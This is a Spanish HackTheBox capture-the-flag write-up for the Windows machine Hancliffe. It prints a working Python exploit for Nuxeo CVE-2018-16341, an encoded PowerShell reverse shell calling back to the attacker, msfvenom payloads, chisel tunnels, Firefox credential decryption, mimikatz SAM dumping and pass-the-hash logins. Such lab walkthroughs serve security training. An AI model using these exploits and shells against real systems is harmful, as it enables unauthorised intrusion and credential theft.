Hancliffe es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Hancliffe 10.10.11.115 a /etc/hosts como hancliffe.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
# Nmap 7.92 scan initiated Mon Jan 17 15:16:10 2022 as: nmap -sV -sC -p- --min-rate 4500 --max-rtt-timeout 1500ms --open -Pn -oA enumeration/nmap2 10.10.11.115 Nmap scan report for hancliffe.htb (10.10.11.115) Host is up (0.083s latency). Not shown: 65532 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 80/tcp open http nginx 1.21.0 |_http-title: Welcome to nginx! |_http-server-header: nginx/1.21.0 8000/tcp open http nginx 1.21.0 |_http-title: HashPass | Open Source Stateless Password Manager |_http-server-header: nginx/1.21.0 9999/tcp open abyss? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest: | Welcome Brankas Application. | Username: Password: | NULL: | Welcome Brankas Application. |_ Username: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9999-TCP:V=7.92%I=7%D=1/17%Time=61E588C1%P=x86_64-pc-linux-gnu%r(NU SF:LL,27,"Welcome\x20Brankas\x20Application\.\nUsername:\x20")%r(GetReques SF:t,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20") SF:%r(HTTPOptions,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Pa SF:ssword:\x20")%r(FourOhFourRequest,31,"Welcome\x20Brankas\x20Application SF:\.\nUsername:\x20Password:\x20")%r(JavaRMI,31,"Welcome\x20Brankas\x20Ap SF:plication\.\nUsername:\x20Password:\x20")%r(GenericLines,31,"Welcome\x2 SF:0Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(RTSPRequest,3 SF:1,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r( SF:RPCCheck,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password SF::\x20")%r(DNSVersionBindReqTCP,31,"Welcome\x20Brankas\x20Application\.\ SF:nUsername:\x20Password:\x20")%r(DNSStatusRequestTCP,31,"Welcome\x20Bran SF:kas\x20Application\.\nUsername:\x20Password:\x20")%r(Help,31,"Welcome\x SF:20Brankas\x20Application\.\nUsername:\x20Password:\x20"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Jan 17 15:19:30 2022 -- 1 IP address (1 host up) scanned in 200.32 seconds |
En el anterior escaneo vemos 3 puertos, dos con un portal web y un tercero con una aplicación.
Enumeración
Como nos pica la curiosidad, hacemos una pequeña prueba a la aplicación que corre en el puerto 9999 pero no disponemos de credenciales
1 2 3 4 5 6 |
$ nc hancliffe.htb 9999 Welcome Brankas Application. Username: admin Password: admin Username or Password incorrect |
Así que vamos a continuar viendo el portal web del puerto 80
Vemos una página por defecto de nginx pero nada más así que vamos a enumerar directorios con gobuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ gobuster dir -u http://hancliffe.htb/ -w /home/asdf/github/SecLists/Discovery/Web-Content/raft-small-words.txt -t 30 -b 404 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://hancliffe.htb/ [+] Method: GET [+] Threads: 30 [+] Wordlist: /home/asdf/github/SecLists/Discovery/Web-Content/raft-small-words.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/16 10:48:10 Starting gobuster in directory enumeration mode =============================================================== /. (Status: 200) [Size: 612] /maintenance (Status: 302) [Size: 0] [--> /nuxeo/Maintenance/] /Maintenance (Status: 302) [Size: 0] [--> /nuxeo/Maintenance/] /con (Status: 500) [Size: 494] =============================================================== 2022/01/16 10:50:39 Finished =============================================================== |
Revisamos las urls descubiertas y vemos que la url /maintenance nos lleva a /nuxeo/Maintenance, donde devuelve un error 404, pero si vamos a /Maintenance en este caso nos muestra una página diferente
Parece que realmente es una página de mantenimiento, además, con la anterior redirección, hemos descubierto que está corriendo la aplicación de Nuxeo, utilizada para la creación y gestión de otras aplicaciones, y que además está basada en java.
Para continuar vamos a enumerar de nuevo pero esta vez bajo la uri de maintenance que vimos antes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ gobuster dir -u http://hancliffe.htb/maintenance/ -w /home/asdf/github/SecLists/Discovery/Web-Content/raft-small-words.txt -t 40 -b 404 -x jsp =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://hancliffe.htb/maintenance/ [+] Method: GET [+] Threads: 40 [+] Wordlist: /home/asdf/github/SecLists/Discovery/Web-Content/raft-small-words.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: jsp [+] Timeout: 10s =============================================================== 2022/01/16 11:09:08 Starting gobuster in directory enumeration mode =============================================================== /index.jsp (Status: 200) [Size: 714] /.xhtml (Status: 401) [Size: 221] /. (Status: 200) [Size: 714] /.jsf (Status: 200) [Size: 117] /.seam (Status: 401) [Size: 221] /.faces (Status: 401) [Size: 221] =============================================================== 2022/01/16 11:15:21 Finished =============================================================== |
Revisamos cada uno de los ficheros existentes y vemos una respuesta muy interesante en el fichero .jsf en el cual vemos la siguiente respuesta
Conociendo que es nginx y java buscamos en google y vemos dos cosas interesantes, una vulnerabilidad para el software de Nuxeo y un post donde habla de los ataques relacionados con proxy inverso.
Visto el post anterior, vamos a tratar de utilizar la técnica mencionada para poder enumerar más alla de lo que nos permite hacer en un principio para saltarnos la redirección que realiza
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ ffuf -u 'http://hancliffe.htb/maintenance/..;/FUZZ' -w /home/asdf/github/SecLists/Discovery/Web-Content/raft-small-files.txt -mc 200 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://hancliffe.htb/maintenance/..;/FUZZ :: Wordlist : FUZZ: /home/asdf/github/SecLists/Discovery/Web-Content/raft-small-files.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200 ________________________________________________ home.html [Status: 200, Size: 2600, Words: 606, Lines: 120] login.jsp [Status: 200, Size: 8874, Words: 1322, Lines: 451] :: Progress: [11424/11424] :: Job [1/1] :: 62 req/sec :: Duration: [0:05:10] :: Errors: 9 :: |
Y observamos dos ficheros que no habíamos visto hasta ahora
Una página de inicio
Y una página de login
Revisando la página de login, podemos ver en el footer de la misma la versión de Nuxeo utilizada
1 |
Copyright © 2001-2022 Nuxeo and respective authors. Nuxeo Platform FT 10.2 |
Y por lo tanto confirmamos que es vulnerable a CVE-2018-16341 ya que es una versión inferior a la 10.3
Por lo que descargamos el exploit público existente y realizaremos unas modificaciones sobre el mismo para adaptarlo a nuestra URL quedando como vemos a continuación
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
from requests.packages.urllib3.exceptions import InsecureRequestWarning import urllib3 import requests import base64 import json import sys import re print("\nNuxeo Authentication Bypass Remote Code Execution - CVE-2018-16341\n") proxy = { } remote = 'http://hancliffe.htb/maintenance/..;/' #ARCH="UNIX" ARCH="WIN" requests.packages.urllib3.disable_warnings(InsecureRequestWarning) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def checkSuccess(r): if r.status_code == 200: m = re.search('login.jsp/pwn(.+?).xhtml', r.text) if m: if int(m.group(1)) == 0: print("OK") else: print("\n[-] Error") sys.exit() else: print("[-] Error status code", r.status_code) sys.exit() print("[+] Checking template injection vulnerability =>", end=' ') request1 = remote + "login.jsp/pwn${-7+7}.xhtml" r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) checkSuccess(r) print("") while True: try: command = input("command (\033[94m" + ARCH + "\033[0m)> ") print('') print("[+] Executing command =>\n") request1 = remote + 'login.jsp/pwn${"".getClass().forName("java.io.BufferedReader").getDeclaredMethod("readLine").invoke("".getClass().forName("java.io.BufferedReader").getConstructor("".getClass().forName("java.io.Reader")).newInstance("".getClass().forName("java.io.InputStreamReader").getConstructor("".getClass().forName("java.io.InputStream")).newInstance("".getClass().forName("java.lang.Process").getDeclaredMethod("getInputStream").invoke("".getClass().forName("java.lang.Runtime").getDeclaredMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null),"' + command + '")))))}.xhtml' r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) if r.status_code == 200: m = re.search('login.jsp/pwn(.+?).xhtml', r.text) if m: print(m.group(1)) print('') else: print("KO") sys.exit() except KeyboardInterrupt: print("Exiting...") break |
Antes de ejecutar el mismo, necesitaremos también una rev shell que podemos hacer con msfvenom o a través de revshells.com
Y una vez generada, lanzamos nuestro exploit y verificamos el usuario con el cual tenemos acceso
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ python3 CVE-2018-16341.py Nuxeo Authentication Bypass Remote Code Execution - CVE-2018-16341 [+] Checking template injection vulnerability => OK command (WIN)> whoami [+] Executing command => hancliffe\svc_account command (WIN)> |
Con nuestra reverse shell generada, ejecutamos la misma
1 2 3 |
command (WIN)> powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== [+] Executing command => |
Y conseguiremos en nuestra escucha acceso con el usuario svc_account
1 2 3 4 5 6 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from hancliffe.htb [10.10.11.115] 64885 whoami hancliffe\svc_account PS C:\Nuxeo> |
Enumeraremos la máquina a continuación para revisar posibles formas de escalar privilegios y vemos un servicio muy interesante
1 |
RemoteServerWin(Unified Intents AB - RemoteServerWin)[C:\Program Files (x86)\Unified Remote 3\RemoteServerWin.exe] - Autoload - No quotes and Space detected |
En el cual vemos que hay una tarea corriendo
1 2 3 4 5 |
PS C:\Nuxeo> tasklist /fi "pid eq 3332" Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ RemoteServerWin.exe 3332 1 26,140 K |
Y el puerto que está utilizando la misma
1 |
TCP 0.0.0.0:9512 0.0.0.0:0 LISTENING 3332 |
Así que buscamos posibles exploits y encontramos varios
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ searchsploit 'Unified Remote 3' --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Cisco Unified Operations Manager - Multiple Vulnerabilities | windows/remote/17304.txt Cisco Unified Operations Manager 8.5 - '/iptm/faultmon/ui/dojo/Main/eventmon_wrapper.jsp' Multiple Cross-Site Scripting Vulnerabilities | hardware/remote/35765.txt Cisco Unified Operations Manager 8.5 - '/iptm/logicalTopo.do' Multiple Cross-Site Scripting Vulnerabilities | hardware/remote/35766.txt Cisco Unified Operations Manager 8.5 - 'iptm/advancedfind.do?extn' Cross-Site Scripting | hardware/remote/35762.txt Cisco Unified Operations Manager 8.5 - 'iptm/ddv.do?deviceInstanceName' Cross-Site Scripting | hardware/remote/35763.txt Cisco Unified Operations Manager 8.5 - Common Services Device Center Cross-Site Scripting | hardware/remote/35780.txt Cisco Unified Operations Manager 8.5 - iptm/eventmon Multiple Cross-Site Scripting Vulnerabilities | hardware/remote/35764.txt McAfee Unified Threat Management Firewall 4.0.6 - 'page' Cross-Site Scripting | windows/remote/34115.txt NVR SP2 2.0 'nvUnifiedControl.dll 1.1.45.0' - 'SetText()' Command Execution | windows/remote/4322.html Unified Remote 3.9.0.2463 - Remote Code Execution | windows/remote/49587.py --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results |
Aunque principalmente nos fijamos en un RCE que nos vendrá bien para conseguir escalar
1 |
Unified Remote 3.9.0.2463 - Remote Code Execution | windows/remote/49587.py |
Ahora tenemos un problema, y es que el puerto no está abierto al exterior, por lo que tendremos que hacer un tunel con nuestra máquina, y para eso utilizaremos chisel.
Así que subiremos chisel a la máquina hancliffe
1 |
Invoke-WebRequest -Uri http://10.10.14.13:8001/chisel_1.7.6_windows_amd64 -OutFile chisel.exe |
Levantaremos el servidor en nuestra máquina
1 2 3 4 |
$ chisel server -p 12312 --reverse 2022/01/17 16:35:00 server: Reverse tunnelling enabled 2022/01/17 16:35:00 server: Fingerprint eo5n663KYyXTsU++JCEoyq/Gbm0X/VLbQ8ycXC3OmW0= 2022/01/17 16:35:00 server: Listening on http://0.0.0.0:12312 |
Y posteriormente ejecutaremos el cliente en la máquina víctima
1 |
PS C:\Nuxeo> .\chisel.exe client 10.10.14.13:12312 R:9512:127.0.0.1:9512 |
Para conseguir hacer el tunel con el puerto deseado
1 2 |
2022/01/17 16:35:52 server: session#1: Client version (1.7.6) differs from server version (0.0.0-src) 2022/01/17 16:35:52 server: session#1: tun: proxy#R:9512=>9512: Listening |
Ahora que ya tenemos el puerto accesible, generamos nuestro payload
1 2 3 4 5 6 7 |
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=4455 -f exe -o reverse.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of exe file: 7168 bytes Saved as: reverse.exe |
Y ejecutamos el exploit
1 2 3 4 5 6 7 |
$ python 49587.py 127.0.0.1 10.10.14.13:8081 reverse.exe [+] Connecting to target... [+] Popping Start Menu [+] Opening CMD [+] *Super Fast Hacker Typing* [+] Downloading Payload [+] Done! Check listener? |
Consiguiendo acceso con el usuario clara
1 2 3 4 5 6 7 |
$ nc -lvp 4455 listening on [any] 4455 ... connect to [10.10.14.13] from hancliffe.htb [10.10.11.115] 65021 Microsoft Windows [Version 10.0.19043.1266] (c) Microsoft Corporation. All rights reserved. C:\Users\clara> |
Obteniendo la flag de user
Ahora que ya estamos dentro, nos vamos al escritorio del usuario para conseguir nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
C:\Users\clara>cd desktop cd desktop C:\Users\clara\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is B0F6-2F1B Directory of C:\Users\clara\Desktop 10/11/2021 04:39 PM <DIR> . 10/11/2021 04:39 PM <DIR> .. 01/17/2022 07:21 AM 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 5,680,107,520 bytes free C:\Users\clara\Desktop>type user.txt type user.txt 9xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf C:\Users\clara\Desktop> |
Escalado de privilegios
Ahora que hemos conseguido escalar al siguiente usuario, volvemos a enumerar la máquina y encontramos un fichero con credenciales utilizadas en firefoz en la home del usuario clara
1 2 3 |
C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release>type logins.json type logins.json {"nextId":2,"logins":[{"id":1,"hostname":"http://localhost:8000","httpRealm":null,"formSubmitURL":"http://localhost:8000","usernameField":"website","passwordField":"masterpassword","encryptedUsername":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECP+7GREfh/OCBBACN8BqXSHhgvedk/ffsRBn","encryptedPassword":"MFIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECEQe5quezh5lBCg7VV7cXOky4tBMinRRncbXJl1YC3P0Ql5J8ZZS6ZnVjg9yXrbOq1Me","guid":"{39d1884b-56cd-4e30-869b-e0d9df6ca9d9}","encType":1,"timeCreated":1624771259387,"timeLastUsed":1624771259387,"timePasswordChanged":1624771259387,"timesUsed":1}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3} |
Así que utilizaremos un script para descifrar las mimas, obteniendo las siguientes claves
1 2 3 |
Url: http://localhost:8000 Username: hancliffe.htb Password: #@H@ncLiff3D3velopm3ntM@st3rK3y*! |
Esto nos da que pensar sobre el portal que vimos en el puerto 8000, donde se observa una aplicación de Gestión de Passwords llamada hashpash
Así que introducimos los datos obtenidos probando con varios usuarios y conseguimos las claves del usuario development introduciendo los siguientes valores
1 2 3 |
Full Name: development Website: hancliffe.htb Password: #@H@ncLiff3D3velopm3ntM@st3rK3y*! |
Ahora que tenemos las credenciales necesitamos acceder pero el puerto 5985 utilizado por evil-winrm no está abierto, así que haremos otro tunel con chisel para poder acceder con dicho puerto
1 2 3 4 |
c:\Nuxeo>.\chisel.exe client 10.10.14.13:12312 R:5985:127.0.0.1:5985 .\chisel.exe client 10.10.14.13:12312 R:5985:127.0.0.1:5985 2022/01/17 10:44:22 client: Connecting to ws://10.10.14.13:12312 2022/01/17 10:44:22 client: Connected (Latency 46.4954ms) |
Y accederemos al sistema con el usuario development
1 2 3 4 5 6 7 8 9 10 11 12 |
$ ruby evil-winrm.rb -i 127.0.0.1 -u "development" -p 'XXXXXXXXXXXXXXXXXX' Evil-WinRM shell v3.3 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\development\Documents> whoami hancliffe\development |
Ahora que estamos dentro revisamos la máquina y encontramos un fichero ejecutable, el cual es el encargado de la aplicación que vimos anteriormente en el puerto 9999, así que descargamos la misma para hacer el reversing y tratar de explotarla
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
*Evil-WinRM* PS C:\> cd c:\devapp *Evil-WinRM* PS C:\devapp> dir Directory: C:\devapp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/14/2021 5:02 AM 60026 MyFirstApp.exe -a---- 9/14/2021 10:57 AM 636 restart.ps1 *Evil-WinRM* PS C:\devapp> |
Descargamos el ejecutable y lo analizamos con ghidra y ollydbg y encontramos varios datos interesantes.
En primer lugar encontramos los datos de acceso del usuario a través de la aplicación
1 2 3 4 |
username: "alfiansyah" password: "YXlYeDtsbD98eDtsWms5SyU=" fullname: "Vickry Alfiansyah" invitecode: "T3D83CbJkl1299" |
Hacemos una prueba pero la password no es la correcta, así que buscamos en el ejecutable y encontramos dos funciones de cifrado en el mismo
Así que trataremos de realizar el método inverso y coneguimos descifrar la password, siendo el resultado final el siguiente
1 |
K3r4j@@nM4j@pAh!T |
A continuación tenemos que encontrar la forma de conseguir explotar la aplicación y vemos un posible punto a través del código de invitado, aunque parece que no disponemos el tamaño suficiente para nuestro payload, así que después de un rato buscando encontramos que es vulnerable al ataque de Reutilización de Socket y vemos dos posts bastante interesantes donde comentan y explican como hacer este tipo de desbordamientos.
https://rastating.github.io/using-socket-reuse-to-exploit-vulnserver/
https://infosecwriteups.com/expdev-vulnserver-part-6-8c98fcdc9131
Así que generamos nuestro exploit, (una vez esté retirada la máquina lo publicaré en este mismo post) y ejecutamos el mismo
1 2 3 4 5 6 7 |
$ python2 exploit-socket-reuse.py Welcome Brankas Application. Username: Password: Login Successfully! FullName: Input Your Code: |
Y después de algún que otro intento conseguiremos nuestra shell con system
1 2 3 4 5 6 |
$ nc -lvp 5555 listening on [any] 5555 ... connect to [10.10.14.13] from hancliffe.htb [10.10.11.115] 64843 whoami nt authority\system PS C:\Windows\system32> |
Ahora que ya estamos dentro podemos ir a por la flag, pero antes vamos a hacer otra cosa
Generamos y descargamos la sam
1 2 |
reg save hklm\sam c:\sam reg save hklm\system c:\system |
Y la desciframos con mimikatz
1 2 3 |
wine64 mimikatz.exe log hash.txt lsadump::sam /system:/home/asdf/current/keys/system /sam:/home/asdf/current/keys/sam |
Y así dispondremos ya del hash del usuario administrator.
Obteniendo la flag de root
Como ya hemos conseguido también el hash del usuario administrator, accedemos con el mismo y cogemos nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ ruby evil-winrm.rb -i 127.0.0.1 -u administrator -H XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Evil-WinRM shell v3.3 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami hancliffe\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents> cd .. cd *Evil-WinRM* PS C:\Users\Administrator> cd Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/11/2021 5:40 PM 1575 AutoRestart.lnk -ar--- 1/17/2022 7:21 AM 34 root.txt *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt exxxxxxxxxxxxxxxxxxxxxxxxxxxxxe *Evil-WinRM* PS C:\Users\Administrator\Desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace